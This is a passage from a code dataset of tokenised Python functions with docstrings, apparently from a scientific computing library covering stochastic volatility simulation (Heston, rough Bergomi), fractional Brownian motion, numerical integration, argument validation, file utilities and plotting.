np.concatenate((S,nu),axis=-<NUM_LIT:1>)<EOL>", "docstring": "Return M Euler-Maruyama sample paths with N time steps of (S_t,v_t), where\n    (S_t,v_t) follows the Heston model of mathematical finance\n\n:rtype: M x N x d array", "id": "f10466:m1"}
{"signature": "def fBrown(H,T,N,M,dW = None,cholesky = False):", "body": "alpha = <NUM_LIT:0.5>-H<EOL>times = np.linspace(<NUM_LIT:0>, T, N)<EOL>dt = T/(N-<NUM_LIT:1>)<EOL>if cholesky:<EOL><INDENT>if dW is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>times = times[<NUM_LIT:1>:]<EOL>tdt = times/np.reshape(times,(-<NUM_LIT:1>,<NUM_LIT:1>))<EOL>tdt[np.tril_indices(N-<NUM_LIT:1>,-<NUM_LIT:1>)]=<NUM_LIT:0><EOL>cov = np.reshape(times,(-<NUM_LIT:1>,<NUM_LIT:1>))**(<NUM_LIT:1>-<NUM_LIT:2>*alpha)*(<NUM_LIT:1>/(<NUM_LIT:1>-alpha))*(tdt-<NUM_LIT:1>)**(-alpha)*scipy.special.hyp2f1(alpha,<NUM_LIT:1>-alpha,<NUM_LIT:2>-alpha,<NUM_LIT:1>/(<NUM_LIT:1>-tdt))<EOL>cov[<NUM_LIT:0>,:] = <NUM_LIT:0><EOL>np.fill_diagonal(cov,times**(<NUM_LIT:1>-<NUM_LIT:2>*alpha)/(<NUM_LIT:1>-<NUM_LIT:2>*alpha))<EOL>cov[np.tril_indices(N-<NUM_LIT:1>,-<NUM_LIT:1>)] = cov.T[np.tril_indices(N-<NUM_LIT:1>,-<NUM_LIT:1>)]<EOL>L = scipy.linalg.cholesky(cov)<EOL>return np.concatenate((np.zeros((<NUM_LIT:1>,M)),L.T@np.random.normal(size=(N-<NUM_LIT:1>,M))))<EOL><DEDENT>if dW is None:<EOL><INDENT>dW = np.sqrt(dt)*np.random.normal(size=(N-<NUM_LIT:1>,M))<EOL><DEDENT>if H == <NUM_LIT:0.5>:<EOL><INDENT>return integral(dF = dW,cumulative = True)  <EOL><DEDENT>a = <NUM_LIT:1>/dt/(<NUM_LIT:1>-alpha)*((T-times[N-<NUM_LIT:2>::-<NUM_LIT:1>])**(<NUM_LIT:1>-alpha)-(T-times[:<NUM_LIT:0>:-<NUM_LIT:1>])**(<NUM_LIT:1>-alpha))<EOL>out = toeplitz_multiplication(a,np.zeros_like(a),dW[::-<NUM_LIT:1>])[::-<NUM_LIT:1>]<EOL>out -=a[<NUM_LIT:0>]*dW<EOL>cov = np.array([[ dt**(<NUM_LIT:1>-<NUM_LIT:2>*alpha)/(<NUM_LIT:1>-<NUM_LIT:2>*alpha),dt**(<NUM_LIT:1>-alpha)/(<NUM_LIT:1>-alpha)],[dt**(<NUM_LIT:1>-alpha)/(<NUM_LIT:1>-alpha),dt]])<EOL>var = cov[<NUM_LIT:0>,<NUM_LIT:0>]-cov[<NUM_LIT:0>,<NUM_LIT:1>]**<NUM_LIT:2>/cov[<NUM_LIT:1>,<NUM_LIT:1>]<EOL>out += cov[<NUM_LIT:0>,<NUM_LIT:1>]/cov[<NUM_LIT:1>,<NUM_LIT:1>]*dW <EOL>out += np.sqrt(var)*np.random.normal(size = (N-<NUM_LIT:1>,M))<EOL>out = np.concatenate((np.zeros((<NUM_LIT:1>,M)),out))<EOL>return out<EOL>", "docstring": "Sample fractional Brownian motion with differentiability index H \non interval [0,T] (H=1/2 yields standard Brownian motion)\n\n:param H: Differentiability, larger than 0\n:param T: Final time\n:param N: Number of time steps\n:param M: Number of samples\n:param dW: Driving noise, optional", "id": "f10466:m2"}
{"signature": "def r_bergomi(H,T,eta,xi,rho,S0,r,N,M,dW=None,dW_orth=None,cholesky = False,return_v=False):", "body": "times = np.linspace(<NUM_LIT:0>, T, N)<EOL>dt = T/(N-<NUM_LIT:1>)<EOL>times = np.reshape(times,(-<NUM_LIT:1>,<NUM_LIT:1>))<EOL>if dW is None:<EOL><INDENT>dW = np.sqrt(dt)*np.random.normal(size=(N-<NUM_LIT:1>,M))<EOL><DEDENT>if dW_orth is None:<EOL><INDENT>dW_orth = np.sqrt(dt)*np.random.normal(size=(N-<NUM_LIT:1>,M))<EOL><DEDENT>dZ = rho*dW+np.sqrt(<NUM_LIT:1>-rho**<NUM_LIT:2>)*dW_orth<EOL>Y = eta*np.sqrt(<NUM_LIT:2>*H)*fBrown(H,T,N,M,dW =dW,cholesky = cholesky)<EOL>v = xi*np.exp(Y-<NUM_LIT:0.5>*(eta**<NUM_LIT:2>)*times**(<NUM_LIT:2>*H))<EOL>S = S0*np.exp(integral(np.sqrt(v),dF = dZ,axis=<NUM_LIT:0>,cumulative = True)+integral(r - <NUM_LIT:0.5>*v,F = times,axis=<NUM_LIT:0>,trapez=False,cumulative = True))<EOL>if return_v:<EOL><INDENT>return np.array([S,v]).T<EOL><DEDENT>else:<EOL><INDENT>return np.array([S]).T<EOL><DEDENT>", "docstring": "Return M Euler-Maruyama sample paths with N time steps of (S_t,v_t), where\n    (S_t,v_t) follows the rBergomi model of mathematical finance\n\n:rtype: M x N x d array", "id": "f10466:m3"}
{"signature": "def path_from_keywords(keywords,into='<STR_LIT:path>'):", "body": "subdirs = []<EOL>def prepare_string(s):<EOL><INDENT>s = str(s)<EOL>s = re.sub('<STR_LIT>'+f\"<STR_LIT>\",'<STR_LIT:_>',s)<EOL>if into=='<STR_LIT:file>':<EOL><INDENT>s = s.replace('<STR_LIT:_>', '<STR_LIT:U+0020>')<EOL><DEDENT>if '<STR_LIT:U+0020>' in s:<EOL><INDENT>s = s.title()<EOL>s = s.replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL><DEDENT>return s<EOL><DEDENT>if isinstance(keywords,set):<EOL><INDENT>keywords_list = sorted(keywords)<EOL>for property in keywords_list:<EOL><INDENT>subdirs.append(prepare_string(property))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>keywords_list = sorted(keywords.items())<EOL>for property,value in keywords_list:  <EOL><INDENT>if Bool.valid(value):<EOL><INDENT>subdirs.append(('<STR_LIT>' if value else ('<STR_LIT>' if into=='<STR_LIT:path>' else '<STR_LIT>'))+prepare_string(property))<EOL><DEDENT>elif (Float|Integer).valid(value):<EOL><INDENT>subdirs.append('<STR_LIT>'.format(prepare_string(property),prepare_string(value)))<EOL><DEDENT>else:<EOL><INDENT>subdirs.append('<STR_LIT>'.format(prepare_string(property),'<STR_LIT:_>' if into == '<STR_LIT:path>' else '<STR_LIT>',prepare_string(value)))<EOL><DEDENT><DEDENT><DEDENT>if into == '<STR_LIT:path>':<EOL><INDENT>out = os.path.join(*subdirs)<EOL><DEDENT>else:<EOL><INDENT>out = '<STR_LIT:_>'.join(subdirs)<EOL><DEDENT>return out<EOL>", "docstring": "turns keyword pairs into path or filename \n\nif `into=='path'`, then keywords are separted by underscores, else keywords are used to create a directory hierarchy", "id": "f10481:m0"}
{"signature": "def find_files(pattern, path=None,match_name=False):", "body": "if not path:<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>result = []<EOL>for root, __, files in os.walk(path):<EOL><INDENT>for name in files:<EOL><INDENT>if fnmatch.fnmatch(name if match_name else os.path.join(root,name),pattern):<EOL><INDENT>result.append(os.path.join(root, name))<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "https://stackoverflow.com/questions/1724693/find-a-file-in-python\n\nWARNING: pattern is by default matched to entire path not to file names", "id": "f10481:m2"}
{"signature": "def find_directories(pattern, path=None,match_name=False):", "body": "if not path:<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>result = []<EOL>for root, __, __ in os.walk(path):<EOL><INDENT>match_against = os.path.basename(root) if match_name else root<EOL>try:<EOL><INDENT>does_match = pattern.match(match_against)<EOL><DEDENT>except AttributeError:<EOL><INDENT>does_match = fnmatch.fnmatch(match_against,pattern)<EOL><DEDENT>if does_match:<EOL><INDENT>result.append(root)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "WARNING: pattern is matched to entire path, not directory names, unless\nmatch_name = True", "id": "f10481:m3"}
{"signature": "def zip_dir(zip_name, source_dir,rename_source_dir=False):", "body": "src_path = Path(source_dir).expanduser().resolve()<EOL>with ZipFile(zip_name, '<STR_LIT:w>', ZIP_DEFLATED) as zf:<EOL><INDENT>for file in src_path.rglob('<STR_LIT:*>'):<EOL><INDENT>path_in_zip = str(file.relative_to(src_path.parent))<EOL>if rename_source_dir != False:<EOL><INDENT>_,tail = path_in_zip.split(os.sep,<NUM_LIT:1>)<EOL>path_in_zip=os.sep.join([rename_source_dir,tail])<EOL><DEDENT>zf.write(str(file.resolve()), path_in_zip)<EOL><DEDENT><DEDENT>", "docstring": "https://stackoverflow.com/questions/1855095/how-to-create-a-zip-archive-of-a-directory", "id": "f10481:m4"}
{"signature": "def unique(seq):", "body": "has = []<EOL>return [x for x in seq if not (x in has or has.append(x))]<EOL>", "docstring": "https://stackoverflow.com/questions/480214/how-do-you-remove-duplicates-from-a-list-in-whilst-preserving-order", "id": "f10482:m0"}
{"signature": "def __init__(self, init_dict=None):", "body": "dict.__init__(self)<EOL>if init_dict:<EOL><INDENT>for key in init_dict:<EOL><INDENT>self[key] = init_dict[key]<EOL><DEDENT><DEDENT>", "docstring": ":param init_dict: Initial state of function\n:type init_dict: Dictionary whos values support addition and scalar multiplication", "id": "f10482:c0:m0"}
{"signature": "def expand_domain(self, X):", "body": "for x in X:<EOL><INDENT>self[x] = None<EOL><DEDENT>", "docstring": "Expand domain\n\n:param X: New elements of domain\n:type X: Iterable", "id": "f10482:c0:m1"}
{"signature": "def __add__(self, other):", "body": "F = RFunction()<EOL>for key in self.keys():<EOL><INDENT>F[key] = self[key]<EOL><DEDENT>for key in other.keys():<EOL><INDENT>if key in F.keys():<EOL><INDENT>F[key] += other[key]<EOL><DEDENT>else:<EOL><INDENT>F[key] = other[key]<EOL><DEDENT><DEDENT>return F<EOL>", "docstring": "Vector space operation: Add two real-valued functions", "id": "f10482:c0:m2"}
{"signature": "def __radd__(self, other):", "body": "if other == <NUM_LIT:0>:<EOL><INDENT>return self<EOL><DEDENT>else: <EOL><INDENT>return self.__add__(other)<EOL><DEDENT>", "docstring": "When iterables of functions are added, the first function is added to 0\nusing __radd__", "id": "f10482:c0:m3"}
{"signature": "def __rmul__(self, other):", "body": "F = RFunction()<EOL>for key in self.keys():<EOL><INDENT>F[key] = other * self[key]<EOL><DEDENT>return F<EOL>", "docstring": "Vector space operation: Multiply real-valued function with real", "id": "f10482:c0:m5"}
{"signature": "def __init__(self, default):", "body": "self.default = default<EOL>super().__init__()<EOL>", "docstring": ":param default: Default values for unknown keys\n:type default: Function", "id": "f10482:c3:m0"}
{"signature": "def validate(arg, spec):", "body": "rejection_subreason = None<EOL>if spec is None:<EOL><INDENT>return arg<EOL><DEDENT>try:<EOL><INDENT>return spec._validate(arg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>rejection_subreason = e<EOL><DEDENT>try:<EOL><INDENT>lenience = spec.lenience<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for level in range(<NUM_LIT:1>, lenience + <NUM_LIT:1>):<EOL><INDENT>temp = None<EOL>try:<EOL><INDENT>temp = spec.forgive(arg=arg, level=level)<EOL><DEDENT>except Exception:<EOL><INDENT>pass  <EOL><DEDENT>if temp is not None and temp is not arg:<EOL><INDENT>arg = temp<EOL>try:<EOL><INDENT>return spec._validate(arg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>rejection_subreason = e<EOL><DEDENT><DEDENT><DEDENT><DEDENT>rejection_reason = '<STR_LIT>'.format(arg, spec)<EOL>rejection_subreason = '<STR_LIT>'.format(rejection_subreason.__class__.__name__, rejection_subreason) if rejection_subreason is not None else '<STR_LIT>'<EOL>raise ValidationError(rejection_reason + rejection_subreason)<EOL>", "docstring": "Make sure `arg` adheres to specification\n\n:param arg: Anything\n:param spec: Specification\n:type spec: Specification\n\n:return: Validated object", "id": "f10483:m0"}
{"signature": "def _validate_many(args, specs, defaults,passed_conditions,value_conditions,<EOL>allow_unknowns,unknowns_spec):", "body": "validated_args = builtins.dict() <EOL>passed_but_not_specified = set(args.keys()) - set(specs.keys())<EOL>if passed_but_not_specified:<EOL><INDENT>if not allow_unknowns:<EOL><INDENT>raise ValueError(('<STR_LIT>' + <EOL>'<STR_LIT>'.format(passed_but_not_specified)))<EOL><DEDENT>else:<EOL><INDENT>for arg in passed_but_not_specified:<EOL><INDENT>if unknowns_spec is not None:<EOL><INDENT>specs[arg] = unknowns_spec<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if passed_conditions:<EOL><INDENT>validate(args, Dict(passed_conditions=passed_conditions))<EOL><DEDENT>for arg in specs:<EOL><INDENT>if (not arg in args) or NotPassed(args[arg]):<EOL><INDENT>if arg in defaults:<EOL><INDENT>if isinstance(defaults[arg],DefaultGenerator):<EOL><INDENT>validated_args[arg] = defaults[arg]()<EOL><DEDENT>else:<EOL><INDENT>validated_args[arg] = defaults[arg]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>validated_args[arg] = NotPassed<EOL><DEDENT><DEDENT>else:<EOL><INDENT>validated_args[arg] = validate(args[arg], specs[arg])<EOL><DEDENT><DEDENT>if value_conditions:<EOL><INDENT>validated_args = validate(validated_args, value_conditions)<EOL><DEDENT>return validated_args<EOL>", "docstring": "Similar to validate but validates multiple objects at once, each with their own specification. \n\nFill objects that were specified but not provided with NotPassed or default values\nApply `value_condition` to object dictionary as a whole", "id": "f10483:m1"}
{"signature": "def integral(A=None,dF=None,F=None,axis = <NUM_LIT:0>,trapez = False,cumulative = False):", "body": "ndim = max(v.ndim for v in (A,dF,F) if v is not None)<EOL>def broadcast(x):<EOL><INDENT>new_shape = [<NUM_LIT:1>]*ndim<EOL>new_shape[axis] = -<NUM_LIT:1><EOL>return np.reshape(x,new_shape)<EOL><DEDENT>if F is not None:<EOL><INDENT>assert(dF is None)<EOL>if F.ndim<ndim:<EOL><INDENT>F = broadcast(F)<EOL><DEDENT>N = F.shape[axis]<EOL>dF = F.take(indices = range(<NUM_LIT:1>,N),axis = axis)-F.take(indices = range(N-<NUM_LIT:1>),axis = axis)<EOL><DEDENT>elif dF is not None:<EOL><INDENT>if dF.ndim<ndim:<EOL><INDENT>dF = broadcast(dF)<EOL><DEDENT>N = dF.shape[axis]+<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if A.ndim<ndim:<EOL><INDENT>A = broadcast(A)<EOL><DEDENT>N = A.shape[axis]<EOL><DEDENT>if A is not None:<EOL><INDENT>if trapez:<EOL><INDENT>midA = (A.take(indices = range(<NUM_LIT:1>,N),axis = axis)+A.take(indices = range(N-<NUM_LIT:1>),axis = axis))/<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>midA = A.take(indices=range(N-<NUM_LIT:1>),axis=axis)<EOL><DEDENT>if dF is not None:<EOL><INDENT>dY = midA*dF<EOL><DEDENT>else:<EOL><INDENT>dY = midA<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dY = dF<EOL><DEDENT>pad_shape = list(dY.shape)<EOL>pad_shape[axis] = <NUM_LIT:1><EOL>pad = np.zeros(pad_shape)<EOL>if cumulative:<EOL><INDENT>return np.concatenate((pad,np.cumsum(dY,axis = axis)),axis = axis)<EOL><DEDENT>else:<EOL><INDENT>return np.sum(dY,axis = axis)<EOL><DEDENT>", "docstring": "Turns an array A of length N (the function values in N points)\nand an array dF of length N-1 (the masses of the N-1 intervals)\ninto an array of length N (the integral \\int A dF at N points, with first entry 0)\n\n:param A: Integrand (optional, default ones, length N)\n:param dF: Integrator (optional, default ones, length N-1)\n:param F: Alternative to dF (optional, length N)\n:param trapez: Use trapezoidal rule (else left point)", "id": "f10484:m6"}
{"signature": "def toeplitz_multiplication(a,b,v):", "body": "a = np.reshape(a,(-<NUM_LIT:1>))<EOL>b = np.reshape(b,(-<NUM_LIT:1>))<EOL>n = len(a)<EOL>c = np.concatenate((a[[<NUM_LIT:0>]],b[<NUM_LIT:1>:],np.zeros(<NUM_LIT:1>),a[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>]))<EOL>p = ifft(fft(c)*fft(v.T,n=<NUM_LIT:2>*n)).T<EOL>if np.all(np.isreal(a)) and np.all(np.isreal(b)) and np.all(np.isreal(v)):<EOL><INDENT>return np.real(p[:n])<EOL><DEDENT>else:<EOL><INDENT>return p[:n]<EOL><DEDENT>", "docstring": "Multiply Toeplitz matrix with first row a and first column b with vector v\n\nNormal matrix multiplication would require storage and runtime O(n^2);\nembedding into a circulant matrix and using FFT yields O(log(n)n)", "id": "f10484:m7"}
{"signature": "def grid_evaluation(X, Y, f,vectorized=True):", "body": "XX = np.reshape(np.concatenate([X[..., None], Y[..., None]], axis=<NUM_LIT:2>), (X.size, <NUM_LIT:2>), order='<STR_LIT:C>')<EOL>if vectorized:<EOL><INDENT>ZZ = f(XX)<EOL><DEDENT>else:<EOL><INDENT>ZZ = np.array([f(x) for x in XX])<EOL><DEDENT>return np.reshape(ZZ, X.shape, order='<STR_LIT:C>')<EOL>", "docstring": "Evaluate function on given grid and return values in grid format\n\nAssume X and Y are 2-dimensional arrays containing x and y coordinates, \nrespectively, of a two-dimensional grid, and f is a function that takes\n1-d arrays with two entries. This function evaluates f on the grid points\ndescribed by X and Y and returns another 2-dimensional array of the shape \nof X and Y that contains the values of f.\n\n:param X: 2-dimensional array of x-coordinates\n:param Y: 2-dimensional array of y-coordinates\n:param f: function to be evaluated on grid\n:param vectorized: `f` can handle arrays of inputs\n:return: 2-dimensional array of values of f", "id": "f10484:m8"}
{"signature": "def orthonormal_complement_basis(v:NDim(<NUM_LIT:1>)):", "body": "_, _, V = np.linalg.svd(np.array([v]))<EOL>return V[<NUM_LIT:1>:]<EOL>", "docstring": "Return orthonormal basis of complement of vector.\n\n:param v: 1-dimensional numpy array \n:return: Matrix whose .dot() computes coefficients w.r.t. an orthonormal basis of the complement of v \n    (i.e. whose row vectors form an orthonormal basis of the complement of v)", "id": "f10484:m10"}
{"signature": "def weighted_median(values, weights):", "body": "if len(values) == <NUM_LIT:1>:<EOL><INDENT>return values[<NUM_LIT:0>]<EOL><DEDENT>if len(values) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>values = [float(value) for value in values]<EOL>indices_sorted = np.argsort(values)<EOL>values = [values[ind] for ind in indices_sorted]<EOL>weights = [weights[ind] for ind in indices_sorted]<EOL>total_weight = sum(weights)<EOL>below_weight = <NUM_LIT:0><EOL>i = -<NUM_LIT:1><EOL>while below_weight < total_weight / <NUM_LIT:2>:<EOL><INDENT>i += <NUM_LIT:1><EOL>below_weight += weights[i]<EOL><DEDENT>return values[i]<EOL>", "docstring": "Returns element such that sum of weights below and above are (roughly) equal\n\n:param values: Values whose median is sought\n:type values: List of reals\n:param weights: Weights of each value\n:type weights: List of positive reals\n:return: value of weighted median\n:rtype: Real", "id": "f10484:m11"}
{"signature": "def __init__(self, wrapped, tight=False):", "body": "self.__tight = tight<EOL>self.__wrapped = array(wrapped) if tight else wrapped<EOL>self.__hash = int(sha1(wrapped.view(uint8)).hexdigest(), <NUM_LIT:16>)<EOL>", "docstring": "r'''Creates a new hashable object encapsulating an ndarray.\n\n            wrapped\n                The wrapped ndarray.\n\n            tight\n                Optional. If True, a copy of the input ndaray is created.\n                Defaults to False.", "id": "f10484:c0:m0"}
{"signature": "def unwrap(self):", "body": "if self.__tight:<EOL><INDENT>return array(self.__wrapped)<EOL><DEDENT>return self.__wrapped<EOL>", "docstring": "r'''Returns the encapsulated ndarray.\n\n            If the wrapper is \"tight\", a copy of the encapsulated ndarray is\n            returned. Otherwise, the encapsulated ndarray itself is returned.", "id": "f10484:c0:m3"}
{"signature": "def snooze(value):", "body": "for i in range(int(<NUM_LIT> * value)):<EOL><INDENT>_ = <NUM_LIT:2> ** (i / value)<EOL><DEDENT>", "docstring": "time.sleep() substitute\nKeep busy for some time (very roughly and depending on machine, `value` is in ms)\n\n:param value: Time\n:type value: Number", "id": "f10486:m0"}
{"signature": "@validate_args(warnings=False)<EOL>def EasyHPC(backend:In('<STR_LIT>', '<STR_LIT>')|Function='<STR_LIT>',<EOL>n_tasks:In('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:count>')='<STR_LIT>',<EOL>n_results:In('<STR_LIT>', '<STR_LIT>')='<STR_LIT>',<EOL>aux_output:Bool=True,  <EOL>reduce:Function=None,<EOL>split_job=NotPassed,<EOL>parallel = True,<EOL>method = None,<EOL>pool = None<EOL>):", "body": "self = argparse.Namespace()<EOL>direct_call =  (~String&Function).valid(backend)<EOL>if direct_call:<EOL><INDENT>f = backend<EOL>backend = '<STR_LIT>'<EOL><DEDENT>if backend == '<STR_LIT>': <EOL><INDENT>self.processor = _MPI_processor<EOL>self.finalizer = _MPI_finalizer<EOL><DEDENT>if backend == '<STR_LIT>':<EOL><INDENT>self.processor = _MP_processor<EOL>self.finalizer = None<EOL><DEDENT>self.info = argparse.Namespace()<EOL>self.info.n_tasks = n_tasks<EOL>self.info.n_results = n_results<EOL>self.info.parallel = parallel<EOL>self.info.reduce = reduce<EOL>self.info.wrap_MPI = False<EOL>self.info.aux_output = aux_output <EOL>self.info.method = method<EOL>self.info.pool = pool or Pool()<EOL>self.info.split_job = split_job<EOL>if self.info.n_tasks == '<STR_LIT>':<EOL><INDENT>if self.info.n_results == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if NotPassed(self.info.split_job):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if direct_call:<EOL><INDENT>def _lam(*args,**kwargs):<EOL><INDENT>return _MultiProcessorWrapper_call(args,kwargs,f,self.processor,self.finalizer,self.info)<EOL><DEDENT>return _lam<EOL><DEDENT>return lambda f: _easy_hpc_call(f,self)<EOL>", "docstring": ":param n_tasks: How many tasks does the decorated function handle? \n:param n_results: If the decorated function handles many tasks at once, are the results reduced (n_results = 'one') or not (as many results as tasks)?\n:param reduce: Function that reduces multiple outputs to a single output\n:param splitjob: Function that converts an input (to the decorated function) that represents one large job to two smaller jobs\n\nNOTE: don't turn this into a class, you'll run into strange pickling errors", "id": "f10489:m1"}
{"signature": "def plot_indices(mis, dims=None, weights=None, groups=<NUM_LIT:1>,legend = True,index_labels=None, colors = None,axis_labels = None,size_exponent=<NUM_LIT:0.1>,ax=None):", "body": "if weights is None:<EOL><INDENT>weights = {mi: <NUM_LIT:1> for mi in mis}<EOL><DEDENT>if Function.valid(weights):<EOL><INDENT>weights = {mi:weights(mi) for mi in mis}<EOL><DEDENT>values = list(weights.values())<EOL>if Integer.valid(groups):<EOL><INDENT>N_g = groups<EOL>groups = [[mi for mi in mis if (weights[mi] > np.percentile(values, <NUM_LIT:100>/groups*g) or g==<NUM_LIT:0>) and weights[mi] <= np.percentile(values, <NUM_LIT:100>/groups*(g+<NUM_LIT:1>))] for g in range(N_g)]<EOL>group_names = ['<STR_LIT>'.format(<NUM_LIT:100>/N_g*(N_g-i-<NUM_LIT:1>),<NUM_LIT:100>/N_g*(N_g-i)) for i in reversed(range(N_g))]<EOL><DEDENT>else:<EOL><INDENT>if Function.valid(groups):<EOL><INDENT>groups = {mi:groups(mi) for mi in mis}<EOL><DEDENT>group_names = unique(list(groups.values()))<EOL>groups = [[mi for mi in mis if groups[mi]==name] for name in group_names]<EOL>N_g = len(group_names)<EOL><DEDENT>if colors is None: <EOL><INDENT>colors = matplotlib.cm.rainbow(np.linspace(<NUM_LIT:0>, <NUM_LIT:1>, N_g))  <EOL><DEDENT>if Dict.valid(mis):<EOL><INDENT>if index_labels is None or weights is None:<EOL><INDENT>temp = list(mis.keys())<EOL>if (List|Tuple).valid(temp[<NUM_LIT:0>]):<EOL><INDENT>if not (index_labels is None and weights is None):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>weights = {mi:mis[mi][<NUM_LIT:0>] for mi in mis}<EOL>index_labels=  {mi:mis[mi][<NUM_LIT:1>] for mi in mis}<EOL><DEDENT>else:<EOL><INDENT>if weights is None:<EOL><INDENT>weights = mis<EOL><DEDENT>else:<EOL><INDENT>index_labels = mis<EOL><DEDENT><DEDENT>mis = temp<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if dims is None:<EOL><INDENT>try:<EOL><INDENT>dims = len(mis[<NUM_LIT:0>])<EOL><DEDENT>except TypeError:<EOL><INDENT>dims = sorted(list(set.union(*(set(mi.active_dims()) for mi in mis))))   <EOL><DEDENT><DEDENT>if len(dims) > <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(dims) < <NUM_LIT:1>:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT>if ax is None:<EOL><INDENT>fig = plt.figure() <EOL>if len(dims) == <NUM_LIT:3>:<EOL><INDENT>ax = fig.gca(projection='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>ax = fig.gca()<EOL><DEDENT><DEDENT>size_function = lambda mi: sum([weights[mi2] for mi2 in mis if mi.equal_mod(mi2, lambda dim: dim not in dims)]) <EOL>sizes = {mi: np.power(size_function(mi), size_exponent) for mi in mis}<EOL>for i,plot_indices in enumerate(groups):<EOL><INDENT>X = np.array([mi[dims[<NUM_LIT:0>]] for mi in plot_indices])<EOL>if len(dims) > <NUM_LIT:1>:<EOL><INDENT>Y = np.array([mi[dims[<NUM_LIT:1>]] for mi in plot_indices])<EOL><DEDENT>else:<EOL><INDENT>Y = np.array([<NUM_LIT:0> for mi in plot_indices])<EOL><DEDENT>if len(dims) > <NUM_LIT:2>:<EOL><INDENT>Z = np.array([mi[dims[<NUM_LIT:2>]] for mi in plot_indices])<EOL><DEDENT>else:<EOL><INDENT>Z = np.array([<NUM_LIT:0> for mi in plot_indices])   <EOL><DEDENT>sizes_plot = np.array([sizes[mi] for mi in plot_indices])<EOL>if weights:<EOL><INDENT>if len(dims) == <NUM_LIT:3>:<EOL><INDENT>ax.scatter(X, Y, Z, s = <NUM_LIT:50> * sizes_plot / max(sizes.values()), color=colors[i], alpha=<NUM_LIT:1>)            <EOL><DEDENT>else:<EOL><INDENT>ax.scatter(X, Y, s = <NUM_LIT:50> * sizes_plot / max(sizes.values()), color=colors[i], alpha=<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(dims) == <NUM_LIT:3>:<EOL><INDENT>ax.scatter(X, Y, Z,color = colors[i],alpha=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>ax.scatter(X, Y,color=colors[i],alpha=<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if True:<EOL><INDENT>if len(dims)==<NUM_LIT:3>:<EOL><INDENT>axs='<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>axs='<STR_LIT>'<EOL><DEDENT>extents = np.array([getattr(ax, '<STR_LIT>'.format(dim))() for dim in axs])<EOL>sz = extents[:,<NUM_LIT:1>] - extents[:,<NUM_LIT:0>]<EOL>maxsize = max(abs(sz))<EOL>for dim in axs:<EOL><INDENT>getattr(ax, '<STR_LIT>'.format(dim))(<NUM_LIT:0>, maxsize)<EOL><DEDENT><DEDENT><DEDENT>if axis_labels is not None:<EOL><INDENT>ax.set_xlabel(axis_labels[<NUM_LIT:0>])<EOL>if len(dims)><NUM_LIT:1>:<EOL><INDENT>ax.set_ylabel(axis_labels[<NUM_LIT:1>])<EOL><DEDENT>if len(dims)><NUM_LIT:1>:<EOL><INDENT>ax.set_zlabel(axis_labels[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ax.set_xlabel('<STR_LIT>' + str(dims[<NUM_LIT:0>])+'<STR_LIT:$>',size=<NUM_LIT:20>)<EOL>if len(dims) > <NUM_LIT:1>:<EOL><INDENT>ax.set_ylabel('<STR_LIT>' + str(dims[<NUM_LIT:1>])+'<STR_LIT:$>',size=<NUM_LIT:20>)<EOL><DEDENT>if len(dims) > <NUM_LIT:2>:<EOL><INDENT>ax.set_zlabel('<STR_LIT>' + str(dims[<NUM_LIT:2>])+'<STR_LIT:$>',size=<NUM_LIT:20>)<EOL><DEDENT>plt.grid()<EOL><DEDENT>x_coordinates = [mi[dims[<NUM_LIT:0>]] for mi in mis]<EOL>xticks=list(range(min(x_coordinates),max(x_coordinates)+<NUM_LIT:1>))<EOL>ax.set_xticks(xticks)<EOL>if len(dims)><NUM_LIT:1>:<EOL><INDENT>y_coordinates = [mi[dims[<NUM_LIT:1>]] for mi in mis]<EOL>ax.set_yticks(list(range(min(y_coordinates),max(y_coordinates)+<NUM_LIT:1>)))<EOL><DEDENT>if len(dims)><NUM_LIT:2>:<EOL><INDENT>z_coordinates = [mi[dims[<NUM_LIT:2>]] for mi in mis]<EOL>ax.set_zticks(list(range(min(z_coordinates),max(z_coordinates)+<NUM_LIT:1>)))<EOL><DEDENT>if index_labels:<EOL><INDENT>for mi in index_labels:<EOL><INDENT>ax.annotate('<STR_LIT>'.format(index_labels[mi]),xy=(mi[<NUM_LIT:0>],mi[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if legend and len(group_names)><NUM_LIT:1>:<EOL><INDENT>ax.legend([patches.Patch(color=color) for color in np.flipud(colors)],group_names)<EOL><DEDENT>return ax<EOL>", "docstring": "Plot multi-index set\n\n:param mis: Multi-index set\n:type mis: Iterable of SparseIndices\n:param dims: Which dimensions to use for plotting\n:type dims: List of integers.\n:param weights: Weights associated with each multi-index\n:type weights: Dictionary\n:param quantiles: Number of groups plotted in different colors\n:type quantiles: Integer>=1 or list of colors\n\nTODO: exchange index_labels and dims, exchange 